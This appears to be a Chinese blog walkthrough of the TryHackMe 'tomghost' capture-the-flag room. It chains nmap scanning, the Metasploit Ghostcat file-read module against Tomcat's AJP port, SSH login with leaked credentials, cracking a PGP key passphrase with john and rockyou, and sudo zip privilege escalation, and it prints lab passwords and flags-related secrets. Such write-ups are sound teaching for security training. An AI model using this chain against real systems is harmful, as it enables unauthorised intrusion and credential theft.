【THM】tomghost练习

【THM】tomghost练习

与本文相关的TryHackMe实验房间链接:TryHackMe | Room details

简介:识别最近的漏洞,以尝试利用系统或读取你没有权限访问的文件。

img**

你能完成这个挑战吗?

**机器可能需要长达5分钟的启动和配置。

管理员记录:这个房间的用户名包含不适当的内容,其中包含脏话,小孩请绕道。-Dark


我们启动了靶机,目标IP地址为10.10.24.60

第一题:破坏这台机器并获得user.txt(文件读取)

第一步

端口扫描

首先使用nmap对端口进行扫描

nmap -Pn -sV -T4 10.10.27.90`

-Pn 将所有主机视为在在线,跳过主机发现的过程

-sV 显示端口对应的服务的服务版本

-T4 设置时间模板,表示扫描速度,数字越大速度越快,数字越小报警几率越低

可以发现目标开放了4个端口:22/tcp ssh服务、53/tcp tcpwrapped服务、8009/tcp ajp13服务、8080/tcp http服务

第二步

访问网站

我们先进入网站看看界面

可以发现8080端口正在使用9.0.30版本的Apache Tomcat服务

第三步

搜索相关漏洞

Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers (exploit-db.com)漏洞库中搜索“tomcat”查找相关漏洞,我们发现了这个:

”ghostcat“,和题目名字类似,并且是文件读取和文件包含的漏洞,我们可以试试这个漏洞!记下漏洞的编号,我们进入下一步。

第四步

使用Metasploit利用漏洞

在命令行输入

msfconsole

即可打开Metasploit的控制台,我们这台攻击机的Metasploit版本太老了,按照提示更新它

更新后打开

搜索漏洞的编号

search 48143

我们可以看到一条搜索结果,在搜索结果中编号为0,或者是根据分类在 auxiliary/admin/http/tomcat_ghostcat目录下,我们输入命令使用这个漏洞库中的漏洞

use 0

或者是

use auxiliary/admin/http/tomcat_ghostcat

我们使用以下命令来进入漏洞利用的设置选项

options

可以发现FILENAME(利用文件) 选项已经设定好为/WEB-INF/web.xml,看不懂的就不要改

​ RPORT(目标端口) 选项已经设定好为8009,跟我们的目标端口一致不用改

​ RHOSTS(目标地址) 选项是空的,我们设置成靶机的地址

即输入以下命令:

set RHOSTS 10.10.27.90

设置完成,可以启动了,输入以下命令:

exploit		#或者run

msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 10.10.27.90
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
	skyfuck:8730281lkjlkjdqlksalks
  </description>

</web-app>

[+] 10.10.27.90:8009 - File contents save to: /root/.msf4/loot/20240714171857_default_10.10.27.90_WEBINFweb.xml_016313.txt
[*] Auxiliary module execution completed

我们应该是通过漏洞文件读取到了/web.xml文件,跑出一大堆东西我们仔细看看,得到一个像是页面一样的返回,发现了像是账号密码一样的东西

<description>
     Welcome to GhostCat
	skyfuck:8730281lkjlkjdqlksalks
  </description>

根据题目提示说用户名含有脏话,我们发现的这个“skyfuck”应该就是用户名了,后边的就是密码,这种格式保存的账号密码类似于ssh的user:password的格式

我们就使用ssh连接一下看看:

ssh skyfuck@10.10.27.90

输入密码后,终端前面显示的是skyfuck@ubuntu:~$时,我们就是成功远程连接上skyfuck的账号了,我们可以肆意读取查看他的目录有些什么,其中就包含了第一题的答案

思路:首先ls查看有哪些文件,没找到user.txt(但我们发现的两个文件下一部分要讲),于是cd ../返回上一层目录再看看,发现了另一个用户目录merlin,cd merlin进入ls查看发现了user.txt,使用cat user.txt提取flag

第二题:提升权限并获取root.txt(解密+权限提升)

我们通过命令:

sudo -l

发现skyfuck没有任何高级权限,题目要求我们提权,skyfuck用户目录下又有两个奇怪的文件,我们应该从这里入手......

第一步

提取文件

在skyfuck的目录下我们发现了credential.pgp和tryhackme.asc两个文件

其中credential.pgp是一个用pgp程序加密过了的加密文件

tryhackme.asc应该就是密钥文件了

首先我们将两个文件传回攻击机

scp skyfuck@10.10.27.90:/home/skyfuck/credential.pgp /tmp

scp skyfuck@10.10.27.90:/home/skyfuck/tryhackme.asc /tmp

这样我们攻击机的tmp目录下就有了这两文件

一般来说我们应该可以直接利用gpg程序进行解密了,但当我们导入密钥的时候发现文件被口令上锁了,所以在进行解密之前我们应该先破解出密钥的口令

第二步

文件转换

我们可以使用jhon工具对口令进行暴力破解,但首先我们要将秘钥文件asc转换成jhon工具看的懂的格式,于是使用以下命令:

gpg2john tryhackme.asc > hash

(上图上半部分是手贱cat tryhackme.asc看了下里面的内容...)

第三步

爆破哈希值

我们采用的是爆破的方法来提取出口令,这在现实中我认为是大概率是很难成功的,因为你需要很强大的字典。但这只是一道题目,所以我们用默认的字典配合jhon工具来爆破口令就行了:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

可以发现爆破出来了口令:alexandru

第四步

解密

因为我们知道了加密文件采用了gpg程序的加密,所以我们也应该用gpg程序解密,我们先导入秘钥:

gpg --import tryhackme.asc

输入我们解出的密码,成功导入秘钥

导入秘钥后解密credential.pgp文件:

gpg credential.pgp 

之后读取解密文件:

cat credential 

发现了merlin用户的密码asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j ,立刻登录看看

ssh merlin@10.10.27.90

登录后,我们不能进入root目录,这时该怎么办呢?

第五步

权限提升

首先我们看看merlin的高权限能用在哪里,使用以下命令查看:

sudo -l

我们发现merlin可以以root用户的权限使用zip命令,这样我们就有突破口了,进入网站GTFOBins

搜索zip命令的提权漏洞

发现符合我们情况的”sudo“内容,我们遵循它给出的POC即可利用系统漏洞进行提权!

我们可以检查一下我们的身份,我们成为了root用户!

一顿操作就得到了flag

posted @ 2024-07-15 01:50  Super_Snow_Sword  阅读(37)  评论(2编辑  收藏  举报